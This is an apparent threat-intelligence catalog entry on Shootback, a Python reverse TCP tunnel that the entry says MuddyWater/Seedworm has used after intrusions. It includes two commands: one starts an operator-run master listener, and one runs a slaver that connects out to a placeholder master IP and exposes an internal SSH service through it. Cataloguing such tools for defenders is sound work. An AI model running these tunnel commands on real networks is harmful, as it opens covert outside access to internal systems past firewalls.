.. /Shootback
Star

Access

Shootback is a self-hosted reverse TCP tunnel written in Python that lets an operator reach a service on a host behind NAT or a firewall. A slaver runs on the internal host and connects out to an operator-run master, which exposes the tunneled service. Because both ends are operator-run, there is no vendor domain to block. It has been observed in MuddyWater/Seedworm post-exploitation activity.

Paths:

Resources:

Detections:

Access

  1. Runs the operator-controlled master, listening for slaver connections on one port and exposing the tunneled service to customers on another.

    python master.py -m 0.0.0.0:10000 -c 0.0.0.0:10080
    Use case
    Standing up the tunnel endpoint that internal hosts connect back to.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS

  2. Runs on the host behind NAT, connecting out to the master and forwarding a local service such as SSH (22) so it becomes reachable through the master.

    python slaver.py -m <MASTER_IP>:10000 -t 127.0.0.1:22
    Use case
    Exposing an internal service to the operator through the reverse tunnel.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS